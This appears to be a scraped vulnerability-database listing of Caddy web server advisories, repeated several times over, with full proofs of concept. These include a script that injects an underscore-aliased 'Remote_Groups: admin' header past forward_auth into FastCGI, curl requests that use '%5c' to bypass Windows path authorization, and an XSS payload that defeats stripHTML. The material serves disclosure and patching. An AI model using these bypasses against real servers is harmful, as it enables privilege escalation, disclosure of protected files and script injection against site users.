modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

May 19, 2017

v0.10.2 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

May 02, 2017

v0.10.1 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
